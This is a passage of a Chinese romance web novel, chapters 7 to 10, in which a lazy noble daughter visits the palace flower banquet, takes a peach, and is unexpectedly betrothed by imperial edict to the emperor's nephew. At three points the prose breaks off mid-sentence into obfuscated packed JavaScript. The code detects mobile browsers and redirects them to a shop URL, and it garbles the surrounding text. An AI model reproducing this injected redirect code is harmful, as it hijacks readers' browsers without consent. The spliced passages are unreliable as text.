《小贵妇摆烂日常》 7. 第 7 章 赏花宴定在三日后。 沈云楹没想到还能有亲眼见证洛阳纸贵一般的场景。 因为赏花宴时间紧,京城有名气的首饰阁、绸缎铺、胭脂铺,全都被一扫而空。而蒋文笙名下正好这三样铺子都有,一下清空上等存货,就要紧急去江南调货。掌柜的来询问蒋文笙的意思。 沈云楹听得咋舌,“一个赏花宴而已,这么多人买东西?” 不是只有母亲的三间铺子被抢购,京城那么大,光是说得出名号的首饰阁,沈云楹就能说出七八家。粗略一算,就是二十多家的好东西被买光了。 蒋文笙吩咐掌柜的尽快去江南采购,铺子需要镇铺的上等好东西。 她转头对沈云楹说:“进皇宫,当然不一样,一步登天的机会。名义上是为了燕培风,冲着太子、甚至皇上去的人也不少。” 蒋文笙活得久了,想的就多,一个燕培风还不至于让贵女们大肆花费。 沈云楹难以理解,但她记着一件事呢,“银筝,你还记得不,燕培风不是说不立业不成家吗?怎么还没当官立业,就大办赏花宴相看?男人果然都是善变的。” 银筝干笑两声,“这个,也许年纪到了?燕公子快二十五了。” “这么多人喜欢燕培风和太子吗?”沈云楹实在不解,舍得花大价钱,就为了进宫赏个花,被人相看一回。 银筝猜测,“燕公子才学好,样貌好,又是皇上的亲外甥。太子是储君,肯定惹人喜欢。” 沈云楹摇摇头,她只觉得燕培风就像一个金光闪闪的金龟婿,大家都想让他落进自家的池塘里。 蒋文笙听了沈云楹的比喻,哈哈大笑,对沈云楹道:“今儿想吃全牛宴怎么样?小厨房采买碰巧遇上一头跌死的牛,立即买下送了过来。” 朝廷不准随意宰杀耕牛。 蒋文笙没有用特权私下买,她吩咐底下人随时留意,牛肉有的吃就吃,没有就吃别的。她不缺这点肉。 沈云楹登时来了兴趣,“烤,蒸,炸,煮,炖汤,都来一样。” 难得敞开吃一回牛肉,沈云楹立即把燕培风、太子、赏花宴等等都抛诸脑后。 静远斋大快朵颐之时,沈云蔓在芙蓉阁下定决心,让丫鬟请二夫人过来。 “娘,我决定在赏花宴争取一番。不管是燕培风,还是太子,都比章兴宇强。”沈云蔓面色微红,她已经和章兴宇暗示,让永安侯府早日登门提亲,现在赏花宴一出,她就有了别的心思。 二夫人一愣,“这,云蔓,这能成吗?”可是她想想太子侧妃,富贵荣华加身,要是等到将来太子登基,封贵妃啊。 不用沈云蔓说服,二夫人自己就转动脑子思考,“永安侯府没提亲,你们就不能算有名分。而且,我听说三房那个不要脸的,蒋家忽然来了两位年轻少爷贺寿,谁不知道打的什么主意。现在又巴巴的去赏花宴。” “沈云楹才学不如你,名声气度不如你,就是长了狐狸精模样,身段婀娜,一看就不讨婆婆喜欢。你放心,等进了宫,她一定被你死死压着。”王夫人身形清瘦,最不喜沈云楹娇艳丰腴的模样,拉着沈云蔓鼓劲。 沈云蔓嗯嗯点头,她心里想,要是宫中赏花宴不顺利,还有永安侯府这条退路。而沈云楹呢,不学无术,以后能嫁去蒋家就不错了。 蒋家有什么?一群七品小官吗?沈云蔓不由勾起唇角。 —— 赏花宴这日,金乌高悬,清风拂面,京城主干道站满侍卫,沈家的马车排在前面,沈云楹和沈云蔓同坐一车。 进了宫中,两人就代表沈家的脸面。她们都盛装打扮,沈云蔓一身全新的蜀锦缂丝百蝶穿花裙,赤金翡翠鸾凤步摇,贵重又细巧,衬得她雍容典雅。而沈云楹则逊色不少,身上的料子是开春府里统一裁的,上身过几次。头上梳着小灵蛇髻,两边都是海棠流苏簪子,耳戴珍珠坠,将身上的娇艳敛去几分,整个人往素雅上靠,却隐隐有些违和。 可都得承认,沈云楹的确用心打扮了。读书人,不都喜欢清雅这套? 两人视线对上,沈云蔓眼神一沉,“没想到三妹妹也会来。我以为你只想和蒋家公子逛京城。” 在足够的利益面前,沈云蔓的嘴脸比任何时候都要清晰真实。 沈云楹在沈家,没有体验过姐妹情。 她展颜一笑,故意说:“二姐姐穿金戴银,一会儿一定光彩夺目。祖母怕你孤单,让我来相陪。” “什么穿金戴银,俗气。”沈云蔓皱起秀眉,“文才不行就少开口。” 沈云楹无辜道:“二姐姐跟我说话,我不理你,不太好吧?” 沈云蔓冷哼一声,扭过身子,不说话了。沈云楹轻轻勾起唇角,透过风吹起的车帘,窥见巍峨宫墙,马车进入宫门,沈云楹觉得似乎有一双无形的手压在头顶,叫人喘不过气来。 赏花宴地点就设在御花园。 今日御花园不允许后妃进入,来的人全是受邀的京城贵女。御花园不甚宽广,腾出一个地方容纳所有人坐下,位置之间就靠得比较近。沈云楹没有手帕交,除了沈云蔓,全是陌生人,她就安静坐在原地,听听皇后的声音,尝尝真正御厨的点心,看看好一品斋比,哪一个更好吃。 皇后随和,声音温婉,只略略说几句御花园各花盛开,她邀大家进宫共赏,所以你们不要客气,尽管游玩,如果有诗词佳作,可交上来,让皇后欣赏一番。接着就有太监来请,皇后浩浩荡荡离开。 沈云楹理解了皇后的意思。御花园大,花多,你们随意看吧。不要随意走出御花园就行。于是在沈云蔓约上两三好友,问她要不要一起去赏花时,她直接拒绝,“妹妹不会作诗不会画画,就不去打扰姐姐们的雅兴了。我只能找地方慢慢想。” “也是,你平日学习偷懒,这回多花点时间,不能在皇后娘娘面前丢沈家的脸面。”沈云蔓摆姐姐的架子,告诫沈云楹。 沈云楹当耳旁风,“哦。” 沈云楹环顾一圈,大家都三两成群,各个方向都有人。她就想找个安静的地方熬到出宫的时辰,最后选择东北角,那边人最少。 她就沿着石径小道走,这条路还挺有意思,先是青石板路,接着鹅卵石路,往后走,路面居然镶嵌着龙眼大小的夜明珠,隔一段路就有一颗。 沈云楹暗暗心惊,不愧是皇宫,豪奢无比。这样的夜明珠都得放到老夫人的库房珍藏,皇宫用来填路照明。 好奇到底镶嵌了多少夜明珠,沈云楹沿着这条路走下去,路的尽头是一处小桃林。这一路约莫有三十颗夜明珠。要是夜里走这条路,估计都不用提灯笼。 既然到了桃林,沈云楹干脆就进去打发时间,她回头看看,这里应该也是御花园的范畴吧?桃花也是花。正好她有桃花的诗词储备,临走前挑一首写上去交差。 太师府有桃林,因为太师和老夫人都喜欢,下人不敢怠慢,侍弄多年,移栽出许多的品种,每一棵树都生机勃勃。沈云楹见惯了府里的桃林,再看御花园这处桃林,觉得有些逊色。 她漫步到三角红柱绿栏亭,一手撑着下巴,坐着赏最大的那颗桃树。上面竟然结了果子,拳头大小,七八颗桃子红彤彤的,已然熟透,剩下寥寥几颗青白色,估摸过几天就熟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697009|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈云楹有些吃惊,太师府的桃林刚刚结果,才拇指大小,宫里不知怎么侍弄的,竟然就有桃子吃了。果然高手在皇宫。 独自坐在桃林边,沈云楹没有了刚来时的憋闷,甚至在想离开前,她能不能摘一个桃子走。桃子在宫里,她只能吃这一次,如果拿回太师府,让花匠们研究一下,在府里也种上几颗,以后年年都能吃。 微风徐徐吹过,困意跟着来袭,沈云楹不觉眯上眼睛,心想她小憩一会儿,就出去写诗交差。 沈云楹意识逐渐飘远,忽然传来一声尖细的声音,“这位姑娘,奴婢是桃林的扫洒太监。您坐在这儿不动,可是迷了路?奴婢这就带您出去,”他又压低声音,“听说太子殿下在月影湖边下棋。” 言下之意,如果沈云楹有意,他可以带沈云楹去太子那边。 沈云楹模糊地清醒过来,听到太子二字,直接脱口而出,“太子在哪儿,与我何干?” 等见到小太监诧异的眼神,沈云楹忙轻咳两声,摆手道:“我喜欢桃林的清静,就在这儿待会儿。你下去吧。” 沈云楹想了想,在小太监应声后,从香囊里取出一颗金花生,“谢你前来提醒。” 小太监欣喜接过金灿灿的花生,转身离开时,脸上却只剩下困惑和不解。他顺着小径绕到一墙之隔的阁楼上,恭敬道:“公子,那位姑娘说桃林清静,她喜欢,要多待会儿才走。” 燕培风绘画的笔一顿,一点墨水点落纸上,画中正是桃林,墨水正点在三角亭的亭角,尚可挽回。 “你没提去太子殿下那?” 谷东如实禀报,连语气都学得十分像。 燕培风立刻听出其中的不在意,和惊讶。 就在昨日,燕培风特意去寻太子殿下下棋,输的人就要答应一件小事。太子年近三十,是燕培风的表兄,还是个棋迷,只是棋艺不佳,每次都想赢一回燕培风。于是,燕培风和太子开始下棋厮杀。 太子大败。 燕培风的要求就是赏花宴这日,太子去月影湖下棋一个时辰。 太子大惊,他可算明白燕培风的险恶用心,“你不想成婚直接拒绝父皇就是,这些年不是一直这么做的?居然拿我当挡箭牌!我得去找父皇告状!” 燕培风可不管,他那天一时心软答应,可临到头,又觉得这些女子聒噪,燕家只有他一个人住,清静自在,多了主母就吵闹了。 他想起外头离谱的传言,说皇后有意在赏花宴上为太子选良娣。燕培风清楚,皇后压根没有这意思,皇上也没有。 但外人都这么觉得啊?京城内都有京城衣贵、京城钗贵的说法。 燕培风就顺势让太子出来挡一挡。 “难道是冲着我来的?”燕培风低声道,随即摇头,他今日来此,纯属临时起意,谁也不会猜到。 “罢了,她想要清静,就待着吧。”燕培风摆手,谷东应声退下,心里却想要不要去打听方才是哪家的姑娘。 小太监谷东是阁楼的主管太监,这处阁楼是燕培风小时候在宫里的住所。隔壁那片桃林是嘉荣长公主带着燕培风亲手种的,平时这里少有人来。陛下金口玉言,这里永远是燕培风的家。 谷东一直守着阁楼,今日燕培风过来,他激动许久,皇后办赏花宴帮燕培风相看的消息早就传开,谷东以为燕培风思念母亲,特意来看看。 燕培风却要在上面画画,不走了。他心里干着急,怎么不去看看京城各家出色的贵女呢?可主仆有别,他不敢催促。 难得有一位姑娘来到桃林,公子还不赶她走,可不得好好打听一番? 8. 第 8 章 一幅画完笔,三角亭下多了一抹天青色的倩影,多年不变的桃林风景图,突然多了一个人,燕培风微微凝眉,随手将画卷起。 右侧书柜全是桃林的画作,按时间排列,燕培风将这新画的一副,放进去。 等再来到窗前观察时,亭内已没有人影,只余空荡荡的石桌石凳。 燕培风轻笑一声,他没看到那姑娘的正脸,凭借背影,他也认不出是哪家姑娘。燕培风五年不曾出来走动,今日来赴宴的姑娘,他一个都不认识,倒是对她们的父兄有几分了解。 “桃林的确清静。”燕培风声音很轻,回忆起他母亲曾说过一样的话。嘉荣长公主就是喜欢这份清静,才在此处栽种桃林。 不过是片刻的惆怅,燕培风很快理好思绪,他该去乾清殿找皇上,皇后操劳赏花宴辛苦,他也该感谢一番。 燕培风正要离开,谷东却突然跪下:“奴婢前来请罪。” 燕培风眉宇紧皱,脸色冷下来,“你做了什么?”谷东是老仆,也忠心,燕培风面色更加紧绷。 谷东忙道:“方才太师府的三姑娘叫住奴婢,说想要摘一颗桃子,带回府中栽种一颗一样的。奴婢自作主张,给了。还请主子责罚。” 听完来龙去脉,燕培风心中松口气,“我又不是洪水猛兽。每年桃子都是送到乾清殿,多一个少一个,皇上不会知道。给就给了吧。” “这等小事,别跪着了。” 谷东眼神一闪,磕头道:“多谢主子。” 燕培风从阁楼离开,直奔乾清殿,却在半路被汪公公拦下,带着去了能俯瞰御花园的百景楼。 皇上一身明黄色常服,远远瞧着一群年轻姑娘,觉得燕培风成亲有望,这么多个,总有一个合适的吧。 站在旁边的皇后隐晦望天,难道皇上没发现,姑娘们聚集最多的地方是月影湖,太子在那儿! 剩下的零零散散在御花园各处,但燕培风本人,躲到桃林阁楼去啦。 皇后也不知道该怎么劝燕培风这小子,都二十五了,总不能还没开窍? 帝后二人同时上心燕培风的婚配,根源在于燕培风的父亲算是救驾而亡。那年遇到刺客,是燕培风父亲以身相替,挡了致命的一剑。此后他身体日渐衰落,坚持六年,还是去世了。 而嘉荣长公主小时候身体就不好,皇上还是皇子之时,兄妹两就相依为命,感情甚好。 双重原因之下,皇上和皇后都希望燕培风早日娶妻生子,有人照顾他,和他互相扶持。 “培风怎么还没来?”皇上翻着桌面的画像,边上写着姑娘祖父、父亲的官职,可谓十分用心,和选秀差不多了。 燕培风进门,“皇上,微臣来了。本来还能早些,我以为您在乾清殿。” 绕路了才慢。主要责任是皇上你不待在乾清殿,偷偷来百景楼。 皇上不计较这些小节,忙招手让燕培风过来,“快说说,看上了哪家?哪家姑娘合你眼缘?” “微臣与她们不曾见过面。”燕培风温柔地吐出令人生气的话。 皇上倒吸一口气,忙走到窗边确认,手指指着女孩儿最多的方向,“那儿是谁?” 燕培风毫不心虚,“是太子殿下。” “哦?”皇上挑眉。 “太子下棋输给微臣,只能帮微臣一把了。”燕培风摘干净太子的责任,垂眸顺目。 “胡闹!他都几个娘子了,还来跟你抢?!” 皇后额角一抽一抽的,皇上怎么说话呢? 下一刻,皇上又换了一个对象,他气得拍桌,指着燕培风,“你啊,不要仗着朕舍不得怪罪你,就胡来!朕现在就拟旨,今日,你不选,我就随便帮你挑一个,即刻赐婚!” 燕培风沉默片刻,看到皇上眼中的坚决,皇上是真的怕嘉荣长公主和燕家血脉断绝。今日必须逼燕培风成亲。 燕培风迈开腿,指着桌面上一幅画,“就她吧。” 皇上和皇后忙快速走到案桌边,画中人身形丰腴,额头圆润,五官明媚,帝后纷纷点头。再看下首的字样,沈云楹,祖父太师沈晕年,父亲已故庄华知府沈风诚。 “沈太师的孙女?”皇上回忆自己问过沈太师,“他家不错。读书人家,以后还能给你指点学问。” 皇后提醒他:“沈太师上回说了两个孙女,没说起这个沈云楹,要不要再考虑一下?” “诶,都是一条藤上的三朵花,想必差不多。这个沈风诚朕还记得,当年为了救洪涝中的百姓,死在任上,是个好的。”皇上扒拉一遍沈家的人,觉得这门亲可做,主要是怕燕培风反悔。 难得燕培风亲自选了一个妻子!皇上决定只要不是大错,就这么定了。 皇后一听,也对,沈风诚是沈太师的嫡子,他唯一的子嗣在太师府必会受到厚待,沈老夫人教养,想来不会差。 只是,皇后心里觉得燕培风这样随意选择妻子,他对沈云楹的性情样貌一无所知,万一将来过不下去,后悔今日草率呢?她还想再慎重些。 皇上已经迫不及待,立刻宣笔墨,写圣旨。幸好在圣旨颁下去前,皇上还知道派人去调查一番沈云楹。 皇后心下稍安,不由瞪一眼皇上,这人做事,怎么还风风火火的。 “要不你再多选几个?一并调查人品性情,从中选优?”皇后温声询问燕培风,都开始选了,那就多选几个。若是那沈云楹有什么不好,也好换人。 燕培风眼底闪过无奈,“舅母,外甥已经选过了。若是不成,便是缘分未到,等下回吧。” 此话一出,皇上忙抬手,“就这个!汪泉,动作快点!” 汪公公又应声出去,催促调查的侍卫加快速度办事! 皇后忽然想起,吩咐身边的女官,“御花园作诗应该差不多了,你去收回来,挑出沈云楹的那份,我瞧瞧她写的怎么样。” 女官转身往御花园而去。 沈云楹将红彤彤的小桃子藏在衣袖中,幸好那个小太监在,一颗金花生收买了他,偷偷摘了一颗小桃子给自己。 顺着来时路回到御花园,此时大部分人都已经提交诗词,看管笔墨的太监正无聊地数数,看看交齐了没有。 沈云楹刚回到先前的座位上,就听到隔壁在讨论太子殿下在月影湖下棋,兵部尚书的孙女大胆上前想对弈,太子答应了,之后又有几位姑娘去下棋。 赞扬完太子的风华绝代,一个姑娘好奇:“怎么不见燕公子啊?” 身边的几位姑娘纷纷摇头,“不知道。” 难道是为太子办的赏花宴? 不止这几位姑娘,越来越多的姑娘回到此处,都是这个想法。因为她们互相聊过,燕培风压根没出现。 沈云楹听了一耳朵八卦,她来这儿就是凑个数的,怎么听着,发现大家都是凑数的?太子出现一个时辰,来参加下棋比赛,一干姑娘全是他手下败将。燕培风压根没现身。 她忽然觉得家中重视的太师和老夫人有点好笑。尤其老夫人还威逼她娘,好像参加过就能被选中似的。 呵,老夫人的算盘不响咯。 沈云楹怀着愉悦的心情往笔墨处走去,忽然前面出现一个人挡路。 “三妹妹,你的文采不足,还是别去丢脸了。”沈云蔓压着声音,伸手抱住沈云楹的胳膊。 沈云楹无所谓,爽快道:“行。”侧头对沈云蔓道:“二姐姐,松手吧,我去坐会儿。” 沈云蔓不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697010|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信,“你就这么答应了?” 沈云楹用行动回答,她就是这么好说话。桌上端来了新茶点,有一碟子玉露团,沈云楹不禁细品慢嚼,有点失望,她觉得一品斋的更香软亲甜。 沈云蔓狠狠一跺脚,就回到好友身边。 等女官来收诗词,翻来覆去几遍,都没找到署名沈云楹的那份,她只好回去复命,“太师府三姑娘并未作诗。” 皇后诧异抬眸,宴会这种场合,客气的说若有就交新作的诗词,其实就是扬名的机会,大家私下都有准备的,就算不出彩,也不至于一首都交不出来。 “难道学识不佳?”皇后呢喃道,她记得沈家大姑娘沈云芝是有名的才女,还差点和永安侯府结亲。 皇上却不在意,“女子无才便是德,她德行好,不能作诗怎么了?又不当饭吃。” 他拐弯夸到自己头上,“我自小功课就一般般,不一样英明神武?” 皇后忍了又忍,冷声说:“闭嘴。”没见过这么爱说话的皇帝,嘴巴噼里啪啦的,比宫里的嬷嬷还能说。 皇上委屈撇嘴,“朕今晚再去坤宁宫跟你说!” 皇后暗暗决定今晚坤宁宫早些关门。 皇帝想查一个人,结果很快呈送到安卓上。时间短,闺阁小姐打听不到更详细的内情,但大褶上寻不出错就行了。 于是,燕培风亲选,皇上亲笔书写,一封赐婚圣旨就这么定下。 —— 御花园赏花宴结束,沈云楹和沈云蔓同车而归。 沈云楹满脸轻快,和沈云蔓稍显落寞形成鲜明对比。沈云蔓忽然开口:“你就不忧心亲事吗?难道你真的想嫁去蒋家?全族人的官职最高的一个都比我爹还差一级?” 沈云楹抬眸,不在意道:“婚姻大事,自有我母亲做主。”想了想,沈云楹没继续说,沈云蔓父母都在,那么着急嫁入高门做什么?她亲哥哥还在考科举,都不急着娶妻巩固地位。 不过个人有个人的选择。 沈云蔓扯出一个笑,没有再说话。三婶给沈云楹挑的,就是蒋家。她看不上的小官之家。而她的父母,还不如自己拼一个前程。 马车晃晃悠悠,终于回到太师府。 沈云楹下车直奔静远斋,她袖中还藏着一个桃子呢,等会儿就叫花匠来,看看是个什么品种的桃子,移栽几颗到府里。 还没进院门,忽然就被银屏拉住,“姑娘,圣旨来了,您快些出来接旨。” 沈云楹有点懵,“圣旨?给我的?” “所有主子都去了。”银屏不知道,三夫人让她来叫小姐过去前厅。 沈云楹拍拍胸口,还好,“那就是二姐姐被选中了?就是不知道是太子,还是燕培风。希望她如愿以偿吧。” 沈云芝离开京城,等沈云蔓嫁人,府中就她一个姑娘了。日子会非常平淡。 来到前厅,沈晕年在前,老夫人在他身侧,后面是大老爷夫妻、二老爷夫妻,接着就是堂兄弟,和沈云蔓。 沈云楹站到蒋文笙身后,直接跪下听旨。 汪公公打开圣旨,开始宣读:“奉天承运皇帝制曰:朕闻成家立业,人伦之始;夫义妇顺,王化之基。今嘉荣长公主之子、轻车都尉燕培风,贤才美玉,文华盖世,器宇恢弘。太师沈晕年之孙女沈氏云楹,幼承庭训,贤淑慧敏,素有贞慧之名。才子佳人,堪为良配。今特赐婚配,以全美事。着礼部择吉日,钦天监监正取黄道吉日,早日完婚!钦此。” “沈三姑娘,接旨吧。” 沈云楹听到自己名字的瞬间就有点傻了,满脸诧异地抬起头,缓缓抬手接过明黄沉重的圣旨,声音仿佛都不是从她喉咙发出的。 “臣女谢主隆恩。” 9. 第 9 章 直到汪公公离开,沈云楹依然神思恍惚,一切行动全凭本能。她仔仔细细过了一遍自己在皇宫的行动轨迹,她最多算是偷渡一颗小桃子,这也值得一个赐婚惩罚? 沈云楹眸光散乱,视线看到蒋文笙的时候,才慢慢镇定下来,接受自己被赐婚的现实。 沈云蔓面色苍白,冷冷扫过沈云楹,指甲狠狠掐进掌心。二夫人不服气之于也心疼女儿给人当陪衬,一双尖利的目光直直盯着沈云楹。 二房吃瘪,沈云蔓吃着碗里的想着锅里的,大夫人爽利大笑两声,“恭喜弟妹,恭喜云楹,大喜事啊。圣上赐婚,燕公子又是数一数二的青年才俊,将来云楹诰命加身,享受荣华富贵。” 沈晕年做为家主,直接发话:“接过圣旨了,都回去吧。”又转头去看老夫人:“夫人,你抓紧时间好好教导云楹。” “好。”老夫人意味深长看一眼沈云楹的打扮, 一群人各有心思,纷纷回到各自的院子。 沈晕年将圣旨送去祠堂,焚香叩拜,没一会儿,大管家匆匆进来,“老太爷,宫中只传出一份圣旨。” 沈晕年颔首,苍老的眼神骤然睁开,“看来此次与太子无关。” 人迈入老年,从牙齿的摇动到皮肤的褶皱,无比提醒着他,没多长时间了。沈家随着他荣登太师而兴荣,也要在他老去之后衰败。 在老妻说三孙女容色姣好的时候,他就开始心动送她进东宫。可惜。 这会儿他想起大儒对燕培风的评价,麒麟之才。只需给他成长的时间,又与皇家有亲,皇上太子都信任他,这就是燕培风最大的底气。 沈家女与燕培风结亲,是正妻。老妻说过沈云楹的性子,性子粗野,懒怠读书。沈晕年一时说不好此时局面是好是坏。 “去库房寻梨花木的书箱,都取出来,晒一晒,能派上用场。”沈晕年吩咐下去,缓缓起身,往书房走去。明日上朝,又有几个老家伙要挑刺了,会让他沈晕年的孙女拔得头筹呢。 沈晕年无声笑了笑。 嘉禾院的大房夫妻纯属看戏。 大老爷捋着胡须,感慨道:“没想到云楹能有这般好姻缘。三弟泉下有知,也安心了。” 大夫人也不得不承认,燕培风的确是好女婿人选。没想到三房母女不声不响,关键时候发力。 “刚刚你看到沈云蔓的脸色没有?诶,不是我做长辈的说她。我们云芝自己有错,沈云蔓想争永安侯府,我不拦着。现在瞧着个好的,又想高攀。” 大夫人叹口气,“姐妹相争,也要有个度。” “小孩子的吵闹,过两年懂事就好了。侄女嫁出去,碍不到你眼前。”大老爷浑不在意。 “罢了,我不与小辈计较。”大夫人忧心忡忡,“清明端午都是大节,你多派点人回桐安老家,看看云芝过得好不好。” 大老爷应下,心里又记挂另一件事,他的两个儿子沈础筠和沈础砚,与燕培风年纪相仿,趁此机会,抓紧结交。 感觉天都塌了的是西边的咏归院。 “母亲!”沈云蔓气得浑身发抖。 三姐妹中,沈云芝自断前程,剩下的沈云楹,她一直看不上这个隔房堂妹。上学偷懒,好吃懒做,吃得身形肉乎乎的,左看右看,都是低嫁的命。沈云蔓已经认定,这辈子,她都会狠狠压在沈云芝和沈云楹头上。 就算她嫁入永安侯府,成为世子夫人,也只是暂时领先。燕培风高升的可能性太高了。沈云蔓深深叹口气,若是沈云楹和她娘一样就好了。 永远困在一间院子里,守寡。 二夫人见女儿的脸色变了又变,最后露出阴狠之色,心头狂跳,压着声音问:“云蔓,别想了。反正沈云楹又不是嫁入东宫,燕家而已,咱们还是太师府呢。” 沈云蔓微微摇头,她是有真才实学的,和章兴宇接触中,发现他并不喜欢科举,为人处世中带着一丝天真,永安侯夫人这个婆婆非常难对付。 而燕培风的才学,状元之位就是证明。而且燕家没有公婆刁难。 要是沈云楹进入东宫,她还能安慰自己,好歹她是正妻。凭借沈云楹的性子,能在宫里活多久都说不准呢。 沈云楹被赐婚给燕培风,反而让她更难受! 二夫人只好拿永安侯府来宽慰:“永安侯府是侯爵,京城的侯爵能有几个?那世子又喜爱你,将来你嫁过去,先生个儿子,拿住丈夫的心,你就只等着当老封君。” “比老夫人还威风!” 沈云蔓咬牙点头,“我一定会的。” —— 终于回到静远斋,沈云楹面容疲惫,一下倒在躺椅里,神情恍然。 蒋文笙灌下一口冷茶,目光灼灼地盯着沈云楹,千言万语最终汇成一句话,“楹儿啊,你做了什么?” 沈云楹手里抓起她娘的蓝粉团扇,从袖子里掏出一个红彤彤的桃子,团扇微微向下凹,沈云楹送到她娘面前。 “桃子?” “桃子。” 沈云楹语调平静,“我就在一处桃林待着,哪儿也没去,连最后上交给皇后品评的诗词也没做。” “唯一的不对,就是打赏扫大太监一颗金花生,您塞给我的。”沈云楹指着桃子,“我见它结果快,就叫小太监帮忙摘了一个,弄清楚品种,咱以后也在府里种。” 沈云楹将自己的打算一一说了。 蒋文笙:…… 我女儿是进宫相看,不是进宫进货! 沈云楹被看得不太好意思,讪笑道:“因为要进宫,昨晚没怎么吃饭,今早也只吃了一个糯米糕,涟水都不让多喝。我在宫里又无聊,看到饱满水润的桃子,想尝一尝,很合理嘛。” 蒋文笙揉揉额头,“好吧,小太监的话,应该不是白龙鱼服。” 沈云楹猛点头。 “那怎么会选中你呢?”蒋文笙摸着下巴,“要过燕培风一关,皇上一关,皇后一关。关关难过,你居然关关过了?” 沈云楹一噎,“可能,这就是命吧。” 蒋文笙柳眉微蹙,而后舒展,郑重点头,“没错。” “你进宫后,你大舅母来找我,大夫人去城西的宅子找过她,说话甚是难听,刚好被蒋高恒听到,所以才有酒楼那番话。高恒年轻气盛,不想因为自己的亲事,让他娘被人奚落。” 沈云楹错愕,没想到还有这一层。 “其实今日来这一趟,你大舅母就有反悔的意思。唉,权势压人。”蒋文笙给自己倒一杯热茶,“只能说你与蒋家,有缘无分。” 如今圣旨已下,事不可改。 沈云楹和蒋文笙对视一眼,默契地接受现实,嫁蒋高恒挺好,嫁燕培风也不差啊。 首先,家庭简单。父母双亡,祖父母年迈在范州,沈云楹进门就能当家做主。 接着,前程广阔。科举入仕,状元出身,还是皇上的亲外甥。富贵清流都占了呀。 最后,性情人品。具体的不清楚,但是不近女色是真的。 划拉着手指数出三点,沈云楹和蒋文笙沉默了。京城金龟婿,名不虚传。还是主动落到她头上的。 母女二人心情一下松快起来。 如今沈云楹归宿不错,日子都是人过出来,蒋文笙相信沈云楹不会亏待自己。 蒋文笙有嫁闺女的准备,那有一件事,也该提上日程。 “你既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙大人话说得好听,“为你侄女操办婚事,交给你合情合理,有争议之处,你们是一家人,商量方便。” 还卖大老爷沈风泽人情,“皇上的意思是,早些办。钦天监测算出最近的日子在六月。礼部的意思,沈三姑娘六月六及笄,六月八出嫁,正正好。” 大老爷沈风泽了悟点头,“有劳孙大人跑一趟,不如留下喝杯热茶再走。” 孙大人摆手,“没时间多留啊,赶着回衙门办事。” 等孙大人一走,大老爷忙去慈晖院寻老夫人,说了皇上对这门亲事的重视,最后建议:“云楹是三弟唯一的血脉,多给她一些财产傍身合情合理。娘,你说呢?” 老夫人深邃的目光变得柔和,“你拿主意就是。这事跟你父亲说一声,他两日都没回府,今天该回了。” 老夫人继续提点:“大儿媳那里,你要安抚好。你二弟,他不在意这些俗物,王氏那个蠢货翻不起风浪。” 大老爷点头称是。 嫁妆的事还没定下,沈云楹就听说礼部来人,要走她的生辰八字,测算她和燕培风的姻缘吉凶。 护国寺高僧亲口判定,鸾凤和鸣,天作之合。 沈云楹偷偷跟蒋文笙吐槽:“护国寺这回速度真快。” 结果得到蒋文笙的一个敲头,并被教训,“不得对大师无礼。” 婚事进展顺利又迅速,请期那日,蒋文笙很想勾选一年后的八月十六,但在大老爷沈风泽和一干礼部官员火热的眼神中,只能选了今年六月初八。 而现在清明已过,满打满算,距离婚期只剩两个月。 10. 第 10 章 皇宫桃林阁楼。 燕培风挽起袖子,亲自烹茶,直到茶叶扁直,芽毫尽数显露,色泽金黄,今春的蒙顶黄芽便可以入口了。 太子接过建盏茶杯,“香气清幽,鲜醇回甘,难得你舍得拿出御赐的茶叶招待孤。” 燕培风尝一口,他的手艺没有浪费这上好的茶叶,就笑道:“太子的东宫又不缺好茶。”皇上送给燕培风,肯定也往东宫送了一份。 皇上疼爱外甥,也疼爱亲生儿子啊。 太子笑:“这不是没有你这么好的茶师傅么?” 他往前倾身,兴奋道:“赐婚圣旨刚下,父皇就给你赐官了,明日起你就得日日去翰林院当值。” 太子早早得上朝处理政事,而燕培风清闲了五年多,太子看得眼热,就盼着燕培风被朝上的老大人们折磨一番,尝尝他吃过的苦。 燕培风当年是高中状元,只是还未赐官就先守孝,现在自然是补上先前的官职,任翰林院修撰,在御前经筵侍讲、起草诏书,常在皇上跟前露面。 燕培风点头,“皇上命微臣担任翰林院修撰一职。东宫若是需要讲学,微臣自当前去。” 太子忙摆手,“别来了,孤烦这个,好不容易老师傅们不在孤耳边念叨。” 话锋一转,太子说出此次前来的真实目的:“听说你选了名不见经传的沈家三姑娘?你真的看上沈家姑娘啦?她哪里入了你的眼?” 太子实在好奇,忍不住来寻燕培风。皇上和皇后都说是燕培风随意指的,但太子就是不信。 燕培风会这么随意定下亲事?说不准早就看中了。 来之前太子特意打听一圈,又去找太子妃问话,竟然没听到几件和沈云楹确切的消息。 谁都知道有沈家三姑娘这个人,但见过的人没几个。琴棋书画,贤良淑德,沈云楹硬是没传出一个沾边的传闻。 燕培风无奈叹气,他就知道太子要来问,燕培风薄唇微启:“她安静。” 